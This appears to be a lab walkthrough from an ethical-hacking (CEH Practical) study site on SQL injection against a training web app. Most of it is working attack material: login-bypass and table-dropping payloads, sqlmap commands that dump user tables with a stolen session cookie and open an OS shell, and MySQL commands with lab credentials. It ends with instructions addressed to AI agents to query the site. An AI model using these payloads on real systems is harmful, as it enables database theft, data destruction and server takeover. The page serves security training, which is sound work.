# 1. Perform SQL Injection attacks

## <mark style="color:red;">1. SQL Injection on MSSQL Database</mark>

Payloads to check the injection

```
'OR 1=1 -- 
```

Operations on database

```
Admin'; Insert into login values('john','apple123');--  //adding entry
blah'; DROP TABLE users; --
```

## 2. Extract MSSQL Database with SQL MAP

1. Navigate to **<http://www.moviescope.com/>**. A **Login** page loads; enter the **Username** and **Password** as **sam** and **test**, respectively. Click the **Login** button.

   > If a **Would you like Firefox to save this login for moviescope.com?** notification appears at the top of the browser window, click **Don’t Save**.

   ![](https://labondemand.blob.core.windows.net/content/lab168812/screens/mvqmppus.jpg)
2. Once you are logged into the website, click the **View Profile** tab on the menu bar and, when the page has loaded, make a note of the URL in the address bar of the browser.

   ![](https://labondemand.blob.core.windows.net/content/lab168812/screens/vsi1fli1.jpg)
3. Right-click anywhere on the webpage and click **Inspect (Q)** from the context menu, as shown in the screenshot.

   ![](https://labondemand.blob.core.windows.net/content/lab168812/screens/wijlu24h.jpg)
4. The **Developer Tools** frame appears in the lower section of the browser window. Click the **Console** tab, type **document.cookie** in the lower-left corner of the browser, and press **Enter**.

   ![](https://labondemand.blob.core.windows.net/content/lab168812/screens/jaetlurw.jpg)
5. Select the cookie value, then right-click and copy it, as shown in the screenshot. Minimize the web browser. Note down the URL of the web page.

   ![](https://labondemand.blob.core.windows.net/content/lab168812/screens/hnbm0zoo.jpg)
6. Open a **Terminal** window and execute **sudo su** to run the programs as a root user (When prompted, enter the password **toor**).

To retrieve cookie from console

```
document.cookie
```

Now use the following commands to extract the database.

```
sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="mscope=1jwuydl="; --dbs
sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="mscope=1jwuydl=; ui-tabs-1=0" -D moveiscope --tables
sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="mscope=1jwuydl=; ui-tabs-1=0" -D moviescope -T user-Login --dump
```

To get a shell

```
sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="mscope=1jwuydl=; ui-tabs-1=0" --os-shell
TASKLIST
help
```

## MySQL commands

```
mysql -U qdpmadmin -h 192.168.1.8 -P passwod 
show databases;
use qdpm;
show tables'
select * from users;
show dtabases;
use staff;
show tables;
select * from login;
select * from user;
```

<mark style="color:blue;">You can also use other SQL injection tools such as</mark> <mark style="color:blue;"></mark><mark style="color:blue;">**Mole**</mark> <mark style="color:blue;"></mark><mark style="color:blue;">(<https://sourceforge.net>),</mark> <mark style="color:blue;"></mark><mark style="color:blue;">**jSQL Injection**</mark> <mark style="color:blue;"></mark><mark style="color:blue;">(<https://github.com>),</mark> <mark style="color:blue;"></mark><mark style="color:blue;">**NoSQLMap**</mark> <mark style="color:blue;"></mark><mark style="color:blue;">(<https://github.com>),</mark> <mark style="color:blue;"></mark><mark style="color:blue;">**Havij**</mark> <mark style="color:blue;"></mark><mark style="color:blue;">(<https://github.com>) and</mark> <mark style="color:blue;"></mark><mark style="color:blue;">**blind\_sql\_bitshifting**</mark> <mark style="color:blue;"></mark><mark style="color:blue;">(<https://github.com>).</mark>

{% embed url="<https://youtu.be/fBTxWbvRM4A>" %}
SQL Map Tutorial
{% endembed %}

{% embed url="<https://www.udemy.com/course/ethical-hacker-practical/?referralCode=289CF01CF51246BCAD6C>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ceh-practical.cavementech.com/module-15.-sql-injection/1.-perform-sql-injection-attacks.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.